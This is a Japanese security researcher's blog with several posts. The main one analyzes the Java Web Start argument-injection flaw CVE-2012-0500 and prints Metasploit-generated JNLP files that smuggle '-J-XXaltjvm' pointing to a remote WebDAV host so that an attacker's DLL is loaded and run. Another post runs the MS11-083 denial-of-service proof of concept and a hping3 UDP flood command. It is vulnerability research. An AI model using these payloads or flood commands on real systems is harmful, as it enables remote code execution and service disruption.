Hatena::ブログ(Diary)

思い立ったら書く日記

2012-03-08

Java Web Startの脆弱性(CVE-2012-0500)を調べてみる

| 23:53 | Java Web Startの脆弱性(CVE-2012-0500)を調べてみるを含むブックマーク

NTTデータ先端技術の検証レポートをきっかけに CVE-2012-0500 に興味を持ったので、Metasploit Framework モジュール「java_ws_vmargs」(以降、「java_ws_vmargs」)をもとに調べました。この調べた結果をもとに「どんな脆弱性か」、「どうしてシェルコードを実行できてしまうのか」を自分なりに整理してみました。間違い等があったらコメントください。

どんな脆弱性か

僕は CVE-2012-0500 を次の脆弱性と判断しました。

CVE-2012-0500 は「Java Web Start(javaws.exe)による Java アプリケーション(javaw.exe)起動時の引数におけるエスケープ処理の不備」である。この脆弱性を悪用すると、Java アプリケーションに任意の引数を追加できる。

この判断に至る流れを、「問題のない JNLP ファイルからの Java アプリケーションの起動」、「『java_ws_vmargs』が生成する JNLP ファイルからの Java アプリケーションの起動」の順にみていきます。

問題のない JNLP ファイルからの Java アプリケーションの起動

まず、Java Web Start がどのように Java アプリケーションを起動するか確認するため、問題のない JNLP ファイルで Java Web Start を実行してみました。

Java Runtime Environment(JRE) 1.6.30 をインストールした Windows XP Service Pack 3(SP3) で、C:\cve-2012-0500\sample.jnlp(以下)をダブルクリックで開きました。sample.jnlp をダブルクリックで開くと「javaws.exe <JNLP>」が実行され、javaws.exe が「javaw.exe」を実行しました。結果として javaw.exe は [アプリケーションエラー]ウインドウが起動して終了しました。

<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>nhUjkBZLZxG</title>
   <vendor>hKbQFJXCIgEdqEvaTI</vendor>
   <description>oGeydGWTKfWMsMvmz</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size="512m" />
</resources>
</jnlp>

このとき、Process Explorer で javaw.exe のプロセスを確認したところ、次のコマンドラインが実行されていました。JNLP ファイル中の java 要素の「initial-heap-size」属性の値 512m が、引数「-Xms」や「-Djnlpx.heapsize」に展開されていることが分かります。

"C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" "-Xbootclasspath/a:C:\\Program Files\\Java\\jre6\\lib\\javaws.jar;C:\\Program Files\\Java\\jre6\\lib\\deploy.jar;C:\\Program Files\\Java\\jre6\\lib\\plugin.jar" -classpath "C:\\Program Files\\Java\\jre6\\lib\\deploy.jar" "-Djava.security.policy=file:C:\\Program Files\\Java\\jre6\\lib\\security\\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\\Program Files\\Java\\jre6\\bin" -Dsun.awt.warmup=true -Djnlpx.origFilenameArg=C:\cve-2012-0500\sample.jnlp -Djnlpx.remove=true -Xms512m -Djnlpx.heapsize=512m,NULL -Djnlpx.splashport=1068 "-Djnlpx.jvm=C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" com.sun.javaws.Main C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\javaws5

続いて、sample.jnlp の「initial-heap-size」属性の値を変更して C:\cve-2012-0500\sample04.jnlp(後述)を作成しました。この sample04.jnlp では「initial-heap-size」属性の値として「512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "」を指定しています。

sample04.jnlp を sample.jnlp と同じように開きました。この結果、sample.jnlp と同じように「javaw.exe」が実行されましたが、[Could not create the Java Virtual machine.] というエラーメッセージが出力されました。

<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>nhUjkBZLZxG</title>
   <vendor>hKbQFJXCIgEdqEvaTI</vendor>
   <description>oGeydGWTKfWMsMvmz</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "' />
</resources>
</jnlp>

Process Explorer で「javaw.exe」のプロセスを確認したところ、次のコマンドラインが実行されていました。「initial-heap-size」属性の値「512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "」のうち、「"」と「\」がそれぞれエスケープされていること*1を確認できました。

"C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" "-Xbootclasspath/a:C:\\Program Files\\Java\\jre6\\lib\\javaws.jar;C:\\Program Files\\Java\\jre6\\lib\\deploy.jar;C:\\Program Files\\Java\\jre6\\lib\\plugin.jar" -classpath "C:\\Program Files\\Java\\jre6\\lib\\deploy.jar" "-Djava.security.policy=file:C:\\Program Files\\Java\\jre6\\lib\\security\\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\\Program Files\\Java\\jre6\\bin" -Dsun.awt.warmup=true -Djnlpx.origFilenameArg=C:\cve-2012-0500\sample04.jnlp -Djnlpx.remove=true "-Xms512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \"" "-Djnlpx.heapsize=512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \",NULL" -Djnlpx.splashport=1076 "-Djnlpx.jvm=C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" com.sun.javaws.Main C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\javaws5

以上のことから、Java アプリケーションの引数に「"」や「\」などの特殊文字を含む文字列が指定された場合、それらをエスケープしていれば問題ないと言えます。


「java_ws_vmargs」が生成する JNLP ファイルからの Java アプリケーションの起動

では、「java_ws_vmargs」が生成する JNLP ファイル(後述)の場合はどうでしょうか。この JNLP ファイル(以降、cve-2012-0500.jnlp)では、java 要素の「initial-heap-size」属性の値に「512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "」、別の java 要素の「java-vm-args」属性の値に「-Dhttp.agent=jqUBuiZmM"」を設定しています。

この cve-2012-0500.jnlp をダブルクリックで開いてみました。同じように「javaw.exe」が実行され、このとき [Error: no `\\192.168.0.101\\yy21JFn1ASBSe' JM at `\\192.168.0.101\\yy21JFn1ASBSe\jvm.dll'] というエラーメッセージが出力されました。実際に「java_ws_vmargs」を実行して、exploit に成功するとシェルコードが実行されてしまいました(興味がある方は参考情報のデモ動画を参照してください)。

<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>nhUjkBZLZxG</title>
   <vendor>hKbQFJXCIgEdqEvaTI</vendor>
   <description>oGeydGWTKfWMsMvmz</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "' />
</resources>
<resources><java java-vm-args='-Dhttp.agent=jqUBuiZmM"' /></resources>
</jnlp>

このとき Process Explorer で「javaw.exe」のプロセスを確認したところ、次のコマンドラインが実行されていました。「-Dhttp.agent=jqUBuiZmM"」の「"」がエスケープされずにそのまま出力されていました。この「"」が「javaw.exe」の引数に挿入されることで、「-Dhttp.agent=jqUBuiZmM"」以降の引数の「"」の組み合わせが崩れ、「-J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe」が引数として認識されてしまうわけです。

"C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" "-Xbootclasspath/a:C:\\Program Files\\Java\\jre6\\lib\\javaws.jar;C:\\Program Files\\Java\\jre6\\lib\\deploy.jar;C:\\Program Files\\Java\\jre6\\lib\\plugin.jar" -classpath "C:\\Program Files\\Java\\jre6\\lib\\deploy.jar" "-Djava.security.policy=file:C:\\Program Files\\Java\\jre6\\lib\\security\\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\\Program Files\\Java\\jre6\\bin" -Dsun.awt.warmup=true -Djnlpx.origFilenameArg=C:\cve-2012-0500\cve-2012-0500.jnlp -Djnlpx.remove=true -Dhttp.agent=jqUBuiZmM" "-Xms512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \"" "-Djnlpx.heapsize=512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \",NULL" -Djnlpx.splashport=1051 "-Djnlpx.jvm=C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" -Djnlpx.vmargs=-Dhttp.agent=jqUBuiZmM" com.sun.javaws.Main C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\javaws6

どうしてシェルコードを実行できてしまうのか

Java アプリケーションの引数に「-J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe」を追加でき、シェルコードを実行できてしまいました。

「-J-XXaltjvm」を調べてみると、次の情報を確認しました。

java.exe and javaw.exe support an undocumented-hidden command-line parameter "-XXaltjvm" and curiosly also "-J-XXaltjvm" (see -J switch in javaws.exe). This instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) from the desired path.

http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1

実際に Java アプリケーション(javaw.exe)の引数に「-J-XXaltjvm」オプションを指定して実行してみました。このとき「-J-XXaltjvm」オプションの値には、電卓プログラム(calc.exe)を起動するだけの jvm.dll*2を含むフォルダ C:\cve-2012-0500 を指定しました。エラーが発生するものの、電卓プログラムが起動してしまいました。

f:id:kaito834:20120307232551p:image:w400:h300

以上のことから「-J-XXaltjvm」オプションで実行したい jvm.dll を含むフォルダを指定すると、その jvm.dll が実行できるわけですね。

「-J-XXaltjvm」オプションでリモートの DLL ファイルを指定する

CVE-2012-0500 を悪用して「-J-XXaltjvm」オプションを追加することで jvm.dll を実行する場合、jvm.dll として攻撃者の制御下にあるものを指定する必要があります。そうでなければ任意のコードを実行できません。

「java_ws_vmargs」では「\」がエスケープされることを利用して、WebDAV フォルダ(このブログ記事中の JNLP ファイルでは \\192.168.0.101\\yy21JFn1ASBSe)を指定していました。WebDAV フォルダではなく、URL を指定できないか確認してみました。

「-J-XXaltjvm」の値に「http://192.168.0.101/aaa」を指定して、Java 仮想マシンを実行してみました。実行した結果、http://192.168.0.101/aaa への HTTP リクエストが送信されませんでした(下図)。このことから、「-J-XXaltjvm」オプションには URL を指定できないようです。

f:id:kaito834:20120308003015p:image:w400:h300

調べきれていないこと

次のことについてはきちんと調べきれていません。

  • JRE 1.6.30 をインストールした Windows 7 SP1 上では「java_vm_args」による exploit が成功しない。
    • 「-J-XXaltjvm」オプションの挿入には成功している。
    • WebDAV フォルダへのリクエストが発生しない。

所感

「java_ws_vmargs」を基に調べてみると、TSL20120214-01 の「Oracle Java Web Start Command Argument Injection Remote Code Execution」という脆弱性名がとても適切な表現だと思いました。Mac OS X を狙ったマルウェア「Flashback」の亜種が JRE の脆弱性を悪用して感染することが発覚*3するなど、JRE に関連する脆弱性は影響範囲が広いですね:( JRE の脆弱性の実証コードが公開された場合、きちんと確認していきたいです。

参考情報

*1コマンドラインのエスケープ処理については、「cmd.exe のコマンドラインの仕様を解析してみた」を参考にさせていただきました。

*2http://pastie.org/1191532 をビルドして使いました。

*3:「無題なブログ:Mac OS X Flashbackウイルス と Javaエクスプロイト」を参照してください。

2011-12-30

windbgのLogger Extensionと「bp」コマンドにおけるコマンド実行

| 12:12 | windbgのLogger Extensionと「bp」コマンドにおけるコマンド実行を含むブックマーク

windbg における 2 つの小ネタをメモしておきます。

この日記における windbg の実行環境は以下の通りです。User-Mode におけるデバックとなります。

コンポーネントバージョン情報
OSWindows XP SP3*1
windbg6.12.0002.633

Logger Extension(logexts.dll)

windbg拡張機能には、Logger Extension(logexts.dll)があります。この機能を使うと、windbgデバッグするプログラムの Windows API 呼び出し(引数、戻り値を含む)を記録できます(すべての API 呼び出しを記録できるか分かりません)。以下に MSDN の文章を引用します。

Logger can monitor the actions of a user-mode target application and record all of its API calls. The resulting information can be displayed in the debugger, saved as a text file, or displayed in a powerful interactive format by the LogViewer tool.

Logger and LogViewer (Windows Debuggers)

試しに DLL Hijacking のブログ記事で使った Mozilla Firefox 3.5.8 を windbg で起動して、LoadLibrary 関数呼び出しを記録してみます。

LoadLibrary 関数呼び出しの記録

[File]メニューの[Open Executable]にて firefox.exe を起動します。

CommandLine: "C:\Program Files\Mozilla Firefox\firefox.exe"
Symbol search path is: SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: 00400000 004e0000   firefox.exe
ModLoad: 7c940000 7c9df000   ntdll.dll
ModLoad: 7c800000 7c933000   C:\WINDOWS\system32\kernel32.dll
(略)
ModLoad: 770d0000 7715b000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 7c420000 7c4cf000   C:\Program Files\Mozilla Firefox\MOZCPP19.dll
ModLoad: 003e0000 003e7000   C:\Program Files\Mozilla Firefox\xpcom.dll
(874.864): Break instruction exception - code 80000003 (first chance)
eax=00191eb4 ebx=7ffdf000 ecx=00000003 edx=00000008 esi=00191f48 edi=00191eb4
eip=7c94120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c94120e cc              int     3

Logger Extension で LoadLibrary関数呼び出し(LoadLibrary だけではないけど)を記録する手順は、以下の通りです。各コマンドの詳細は、「!logexts.help」で確認できます。この手順では、windbg の実行結果を適宜編集しています。文頭が // の文は僕のコメントとなります。

// Logger Extension のロード
0:000> !load logexts

// テキストファイルへの出力の有効化 
0:000> !logo e t

Windows API Logging Extensions  v3.01
Parsing the manifest files...
Location: C:\Program Files\Debugging Tools for Windows (x86)\winext\manifest\main.h
   Parsing file "main.h" ...
   Parsing file "winerror.h" ...
   Parsing file "kernel32.h" ...
(略)
   Parsing file "d3d8caps.h" ...
   Parsing file "dsound.h" ...
Parsing completed.
  Debugger            Disabled
  Text file           Enabled
  Verbose log         Enabled

// LoadLibrary関数を含むカテゴリ「ProcessAndThreads」の記録のみ有効化
0:000> !logc d *
All categories disabled.
0:000> !logc e 19
 19 ProcessesAndThreads             Enabled

// Windows API 呼び出しの記録の開始(出力先:C:\windbg_logext_dir) 
0:000> !loge C:\windbg_logext_dir
Logexts injected. Output: "C:\windbg_logext_dir\LogExts\"
Logging enabled.

// ここで「g」コマンドを実行する。

windbgFirefox を実行すると、「C:\windbg_logext_dir\LogExts」フォルダに firefox.exe.txt と firefox.exe.lgv が生成されます。firefox.exe.txt には、以下のようなログが記録されています。この記録から LoadLibrary関数のみ抽出すると、こうなります。

Thrd 864 00401C44 GetCurrentProcessId() -> 0x00000874
Thrd 864 00401C4C GetCurrentThreadId() -> 0x00000864
Thrd 864 78133B81 GetModuleFileNameW( NULL 0x00000104) -> 0x0000002C ( "C:\Program Files\Mozilla Firefox\firefox.exe")
Thrd 864 7813E268 GetEnvironmentStringsW() -> "ALLUSERSPROFILE=C:\Documents and Settings\All Users"
Thrd 864 7813E2F7 FreeEnvironmentStringsW( "ALLUSERSPROFILE=C:\Documents and Settings\All Users") -> TRUE
Thrd 864 00401024 LoadLibraryExA( "ntdll.dll" NULL 0x00000000) -> 0x7C940000
(略)

ただ、Logger Extension ですべての Windows API 呼び出しを記録できるか疑問があります。Mozilla Firefox 3.6.8 には dwmapi.dll を呼び出すときに DLL Hijacking の問題がありますが、Logger Extension ではその LoadLibrary関数呼び出しを記録していませんでした。後述の「bp」コマンドにおけるコマンド実行、および「Process Monitor」のスタックトレース(下図)では LoadLibraryW 関数で dwmapi.dll を読み込んでいることを確認しています。

f:id:kaito834:20111230022344p:image:w400:h300

「bp」コマンドにおけるコマンド実行

windbg にはブレイクポイントを設定する「bp」コマンドがあります。この「bp」コマンドではブレイクすると同時に特定のコマンドを実行する使用方法があります。以下に MSDN の文章を引用します。

User-Mode

[~Thread] bp[ID] [Options] [Address [Passes ["CommandString"]

(略)

CommandString

Specifies a list of commands that are executed every time that the breakpoint is encountered the specified number of times. You must enclose the CommandString parameter in quotation marks. Use semicolons to separate multiple commands.


Debugger commands in CommandString can include parameters. You can use standard C-control characters (such as \n and \"). Semicolons that are contained in second-level quotation marks (\") are interpreted as part of the embedded quoted string.


The CommandString commands are executed only if the breakpoint is reached while the application is executing in response to a g (Go) command. The commands are not executed if you are stepping through the code or tracing past this point.


Any command that resumes program execution after a breakpoint (such as g or t) ends the execution of the command list.

bp, bu, bm (Set Breakpoint) (Windows Debuggers)

Logger Extension と同様に、「bp」コマンドを使って Mozilla Firefox 3.5.8 における LoadLibrary 関数呼び出しを記録してみます。

LoadLibrary 関数呼び出しの記録

Logger Extension の場合と同様に、windbgfirefox.exe を起動します。「bp」コマンドを設定して実行すると、以下のような結果が得られます。

0:000> bp kernel32!LoadLibraryA ".printf \"++++++++++ LoadLibraryA\\n+++ StackTrace\\n\"; kb; .printf \"\\n+++ First Argument(dump string)\\n\"; dW poi(esp+4); .printf \"\\n++++++++++\\n\";"

// ここで「g」コマンドを実行する。
0:000> g
ModLoad: 60740000 60749000   C:\WINDOWS\system32\LPK.DLL
ModLoad: 5b5d0000 5b5d8000   C:\WINDOWS\system32\rdpsnd.dll
ModLoad: 762b0000 762c0000   C:\WINDOWS\system32\WINSTA.dll
ModLoad: 59250000 592a5000   C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 76ba0000 76bab000   C:\WINDOWS\system32\PSAPI.DLL
++++++++++ LoadLibraryA
+++ StackTrace
ChildEBP RetAddr  Args to Child              
0012f940 73f9e23f 73f81840 73f9e439 7c9657e5 kernel32!LoadLibraryA
0012f9e8 73f9e40d 0012fa10 7c94118a 73f80000 USP10!UspProcessAttach+0x1f
0012f9f0 7c94118a 73f80000 00000001 0012fd30 USP10!_DllMain+0x1d
0012fa10 7c95b5d2 73f9e439 73f80000 00000001 ntdll!LdrpCallInitRoutine+0x14
0012fb18 7c95fbdc 0012fd30 7ffde000 7ffdf000 ntdll!LdrpRunInitializeRoutines+0x344
0012fc94 7c95fad7 0012fd30 7c940000 0012fce0 ntdll!LdrpInitializeProcess+0x114b
0012fd1c 7c94e457 0012fd30 7c940000 00000000 ntdll!_LdrpInitialize+0x183
00000000 00000000 00000000 00000000 00000000 ntdll!KiUserApcDispatcher+0x7

+++ First Argument(dump string)
73f81840  6467 3369 2e32 6c64 006c 0000 0000 0000  gdi32.dll.......
73f81850  6e69 7469 656d 6964 6966 616e 7369 6c6f  initmedifinaisol
73f81860  696c 6167 736d 7465 0404 0404 0404 0404  ligamset........
73f81870  0404 0404 0404 0404 0404 0404 0404 0404  ................
73f81880  0404 0404 0404 0404 0404 0202 0202 0201  ................
73f81890  0201 0101 0101 0201 0202 0102 0101 0101  ................
73f818a0  0101 0401 0404 0404 0101 0101 0101 0101  ................
73f818b0  0102 0801 0808 0808 0808 0808 0808 0404  ................

++++++++++
eax=00005b9d ebx=73f9e439 ecx=0012f99c edx=7c94e514 esi=0012fa04 edi=00000001
eip=7c801d7b esp=0012f944 ebp=0012f9e8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
kernel32!LoadLibraryA:
7c801d7b 8bff            mov     edi,edi

この「bp」コマンドでは、CommandString として ".printf \"++++++++++ LoadLibraryA\\n+++ StackTrace\\n\"; kb; .printf \"\\n+++ First Argument(dump string)\\n\"; dW poi(esp+4); .printf \"\\n++++++++++\\n\";" を設定します。

この CommandString では、以下の 5 つのコマンドを連続で実行します。この CommandString ではコマンドを実行した後にブレイクしますが、「g」コマンドを連結することで CommandString 実行後すぐにデバッグを再開できます。

  1. .printf」コマンドによる文字列の出力
  2. kb」コマンドによるスタックトレースの出力
  3. 「.printf」コマンドによる文字列の出力
  4. dW」コマンドによる LoadLibrary関数の第一引数のメモリ内容の出力
    • poi」コマンドで、レジスタESP値+4 の DWORD 値を参照する。
  5. 「.printf」コマンドによる文字列の出力

参考情報

*1:2011年12月29日時点の最新パッチを適用済み。VMware Player 4.0.0 上で動作させています。

2011-12-11

2011年における気になった脆弱性をまとめてみた

| 17:49 | 2011年における気になった脆弱性をまとめてみたを含むブックマーク

早いもので2011年ももうすぐ終わります。今年もちまちま脆弱性情報や事件などをはてぶに記録していました(kaito834の2011年タグ)。2011年の振り返りをかねて、僕が把握している範囲で個人的に気になった脆弱性をまとめてみます。

なお、必要があれば適宜更新する予定です。記事末尾の更新履歴をご参照ください。

はじめに

対象とする脆弱性

この日記で取り上げる脆弱性は、以下の 3 つの項目すべてを満たしたものとします。個人のブログで、2011 年に発見された脆弱性を網羅的にまとめるのは荷が重いので、この程度としました。

  • CVE番号が割り当てられている。
  • 2011年に修正、または発見、報告された。
  • 以下のどちらかに該当する。
    • 「過去僕がはてぶにブックマークした」
    • 「ブクマしていないけど、(主観から)これは入れておきたいと思った」
この日記を読むうえでの注意点
  • この日記では、2011年に発見された脆弱性を網羅していません。
  • この日記で取り上げているソフトウェアには偏りがあります。著名なサーバソフトウェアやブラウザ経由での攻撃に悪用されやすいソフトウェアを中心に取り上げています。
  • この日記で取り上げた脆弱性の詳細については関連情報を参照してください。

以上をふまえて、2011年における脆弱性の振り返りの参考にしていただければと思います。

2011年における気になった脆弱性一覧

CVE番号対象ソフトウェアゼロデイ脆弱性の悪用
2月CVE-2010-4476Java Runtime Environment(JRE)--
2月CVE-2010-3970Windows-
2月CVE-2010-3971Internet Explorer
3月CVE-2011-0609Adobe Flash Player/Adobe Reader
4月CVE-2010-3190Visual Studio(MFC)--
4月CVE-2011-0611Adobe Flash Player/Adobe Reader
4月CVE-2011-1717AndroidSkype--
4月CVE-2011-1823Android
5月*CVE-2011-2344Android--
6月CVE-2011-2107Adobe Flash Player
6月CVE-2011-1331一太郎
6月CVE-2011-2100Adobe Reader-
6月CVE-2011-2110Adobe Flash Player
7月CVE-2011-2464BIND--
7月CVE-2011-0226iOS--
7月CVE-2011-0227iOS--
7月*CVE-2010-4832Android--
8月*CVE-2011-3192Apache HTTP Server-
9月*CVE-2011-3389SSL/TLS Protcol--
9月CVE-2011-2444Adobe Flash Player
10月CVE-2011-3975HTC社 Android端末--
10月CVE-2011-3426Safari on iOS--
10月CVE-2011-3224Mac OS X--
10月CVE-2011-3440iOS--
10月CVE-2011-3544Java Runtime Environment(JRE)-
11月*CVE-2011-3402Windows
11月CVE-2011-2013Windows--
11月CVE-2011-3442iOS--
11月CVE-2008-3434iTunes-
11月*CVE-2011-4313BIND--
12月CVE-2011-0291BlackBerry PlayBook tablet--
12月*CVE-2011-4161HP製プリンタ--
12月CVE-2011-2462Adobe Reader
12月CVE-2011-3414ASP.NET--
12月CVE-2011-4862FreeBSD telnetd

[月]列には、基本的にその脆弱性が修正された月を記入しています。脆弱性が修正された月ではなく、その脆弱性が発見、報告された月を記入する場合は、「●月*」としています。

[CVE番号]列には、その脆弱性のCVE番号を記入しています。

[対象ソフトウェア]列には、その脆弱性の影響を受けるソフトウェアを記入しています。

[ゼロデイ]列には、ゼロデイ攻撃の有無を記述しています。ソフトウェア開発元の情報などで攻撃から脆弱性が発覚した場合には「○」、そうではない場合には「-」を記入しています。

[脆弱性の悪用]列には、第三者によるマルウェア、攻撃などでの脆弱性の悪用有無を記入しています。脆弱性の悪用が確認されている場合には「○」、そうではない場合には「-」を記入しています。[ゼロデイ]列が「○」の場合、自動的にこの列は「○」となっています。

脆弱性の関連情報

CVE-2010-4476:Java Runtime Environment(JRE)
CVE-2010-3970:Windows
CVE-2010-3971:Internet Explorer
CVE-2011-0609:Adobe Flash Player/Adobe Reader
CVE-2010-3190:Visual Studio(MFC)
CVE-2011-0611:Adobe Flash Player/Adobe Reader
CVE-2011-1717:AndroidSkype
CVE-2011-1823:Android
CVE-2011-2344:Android
CVE-2011-2107:Adobe Flash Player
CVE-2011-1331:一太郎
CVE-2011-2100:Adobe Reader
CVE-2011-2110:Adobe Flash Player
CVE-2011-2464:BIND
CVE-2011-0226、CVE-2011-0227:iOS
CVE-2010-4832:Android
CVE-2011-3192:Apache HTTP Server
CVE-2011-3389:SSL/TLS Protocol
CVE-2011-2444:Adobe Flash Player
CVE-2011-3975:HTC社 Android端末
CVE-2011-3426:Safari on iOS
CVE-2011-3224:Mac OS X
CVE-2011-3440:iOS
CVE-2011-3544:Java Runtime Environment(JRE)
CVE-2011-3402:Windows
CVE-2011-2013:Windows
CVE-2011-3442:iOS
CVE-2008-3434:iTunes
CVE-2011-4313:BIND
CVE-2011-0291:BlackBerry PlayBook tablet
CVE-2011-4161:HP製プリンタ
CVE-2011-2462:Adobe Reader
CVE-2011-3414:ASP.NET
CVE-2011-4862:FreeBSD telnetd

更新履歴

2011年12月12日 23:25頃

CVE-2011-2464 とその関連情報を追記しました(更新前のウェブ魚拓)。@OrangeMorishita さんから情報をいただきました。

2011年12月31日 02:15頃

以下を追記しました(更新前のウェブ魚拓)。

  • CVE-2011-3402 の関連情報に MS11-087 のリンク
  • CVE-2011-2462 の関連情報に APSB11-30 のリンク
  • CVE-2011-4862 とその関連情報
  • CVE-2011-3414 とその関連情報

2011-11-26

MS11-083(CVE-2011-2013)の実証コードを試してみた

| 13:23 | MS11-083(CVE-2011-2013)の実証コードを試してみたを含むブックマーク

2011年11月、Microsoftから修正プログラムMS11-083が提供されました。MS11-083が公開された当初、MS11-083で修正されたCVE-2011-2013は、オープンしていないUDPポートにパケットを送信することで悪用できることから気になりました。しかし、その脆弱性の公表からしばらく経つと、「2^32だけUDPパケットを送信する必要がある」とか「脆弱性の悪用まで52日かかる*1」などの情報がでてきました。その後、実証コードがリリースされたことから、「実際にどんなものか」と思い、試してみました。

実証結果

5 日間と 10 時間、実証コードを実行し続けましたが、DoS 状態(ここでは Blue Screen of Death を想定)が再現しませんでした。ですが、実証コードを実行し続ける間、Victim には負荷がかかり続けます。またExploit Shopのブログ記事で書かれている Step1 から Step3 までを 2 回試みましたが、DoS 状態が再現しませんでした。

実証結果からの感想

僕の実証環境では、2^32 だけ UDP パケットを送信すること自体、1日弱で達成できました(「netstat -s -p udp」の結果から判断)。ただ、UDP クローズポートのパケット受信数が 0 に wrap around したときに、ICMP ECHO REQUEST を Victim に送り込むのは相当難しいと感じます。実証コードでは、何度も何度も wrap around させて、そのタイミングを狙えるように、250 スレッドで UDP パケットを送り続けると同時に ICMP ECHO REQUEST を送るよう書かれていると理解しました。


以降、実証環境、実証手順および実証時の Victim の様子をまとめます。興味がある方はどうぞ。

実証環境

実証環境は下図の通りです。Attacker で実証コードを実行して、Victim の 80/udp に対してパケットを送信しました。

f:id:kaito834:20111126093128p:image:w420:h183

実証コードには、PacketStorm で公開されている こちらを使用しました。シェルスクリプトで書かれているため、まず実行して winnuke2011, ping.sh を作成し、実際には winnuke2011 を実行することとしました。この日記で特に補足なく「実証コード」と書いた場合、この winnuke2011 を指します。

./winnuke2011 192.168.0.102 80

実証手順

実証コードを使って、「実証コードを実行し続けるだけの実証」(実証1)と「脆弱性が再現すると思われる状況を意図的に作る実証」(実証2)の 2 通りを実施しました。

最初は実証1だけ実施していましたが、「netstat -s -p udp」により Victim が受信したクローズポート宛の UDP パケット数を観測できそうだった*2ので、実証2も試してみました。

実証1:実証コードを実行し続ける

まず試しに Attacker で実証コードを実行して、Victim で tshark を使い 1 秒間に受信できた UDP パケット数を確認しました。この確認の結果、1 秒間に受信できた(tshark でパケットキャプチャできた)UDP パケット数は、約 10,000 程度でした。この値を基に、Exploit Shopのブログ記事 の Step1 に該当する INT_MAX(4294967295)に達するまで、単純に計算して、約 5 日間程度かかると概算しました。この概算は、あくまで tshark で取得できたパケット数に基づいているため、参考程度にしかなりませんでしたが。

あとは、実証コードを実行するだけです。2011年11月14日(月) 0時過ぎに実証コードを実行して、2011年11月20日(日) 10時40分頃まで実行し続けました。結果、Victim が DoS 状態となることはありませんでした。約 5 日間と 10 時間、実証コードを実行しても再現に成功しなかったことになります。

実証2:脆弱性が再現すると思われる状況を意図的に作る

この実証では、Exploit Shopのブログ記事の Step1 から Step3 の手順を実行しました。具体的には次の手順を実施します。

  1. 「netstat -s -p udp」出力結果の「ポートなし」を適宜確認しながら、実証コードで INT_MAX(4294967295) 近くまでパケットを送信する。その値が INT_MAX(4294967295)に近づいたら、実証コードを停止する。
  2. INT_MAX(4294967295)+1 となる残りのパケット数だけ、「hping3」コマンドで UDP パケットを送信する*3
  3. 「netstat -s -p udp」出力結果の「ポートなし」が 0 に wrap around したことを確認して、「ping」コマンドで ICMP ECHO REQUEST を送信する。

上記手順1 が完了するまで大体 1日と1,2時間程度かかりました。手順3 を実行するときの「netstat -s -p udp」出力結果は、下図の通りです。

f:id:kaito834:20111122020802p:image:w334:h258

上記手順1から手順3までを 2 回実施してみましたが、Victim が DoS 状態となることはなく、そのまま動作していました。Microsoft TechNet Blog の記事によると、この動作もあり得るシナリオになります。この実証手順が正しいか疑問もありますが--;

実証時の Victim の様子

実証コードを実行しているとき、Victim では CPU 使用率が定常的に高くなりました。下図は、実証コード実行中の Victim における「Process Explorer」のスクリーンショットです。きちんと確認していないため断言できませんが、ネットワークインターフェイスのドライバ周りの処理に負荷がかかっているとと理解しています(関連:Wikipedia:デバイスドライバ)。

f:id:kaito834:20111126105547p:image:w384:h321


参考情報

*1:PacketStorm で公開された実証コードのコメントに書かれています。

*2:Microsoft の netstat の説明には、「netstat -s -p udp」の具体的な説明がありませんでしたが、80/udp にパケットを送信していると、「ポートなし」の値が増加していったので妥当と判断しました。

*3:例えば、859108 パケットだと「hping3 -c 859108 --faster --udp --destport 80 192.168.0.102」。

2011-10-10

「Opera Mobile」がAndroidに搭載されているルート証明書一覧(cacerts.bks)を使っているか調べてみる

| 15:21 | 「Opera Mobile」がAndroidに搭載されているルート証明書一覧(cacerts.bks)を使っているか調べてみるを含むブックマーク

この日記では、Androidアプリ「Opera Mobile」が Android に搭載されているルート証明書一覧*1である /system/etc/security/cacerts.bks(以降、cacerts.bks)を使っているか調べた結果と確認手順をまとめています。

結論

Opera Mobile」では Android に搭載されている cacerts.bks を使っていないと判断しました。この結果から、cacerts.bks に不正なルート証明書が含まれていても「Opera Mobile」はそのルート証明書を(証明書の検証に)使用しないと言えます。

以下にこの日記を書いた「背景」と結論に至った「確認手順」をまとめています。興味のある方だけどうぞ。

背景

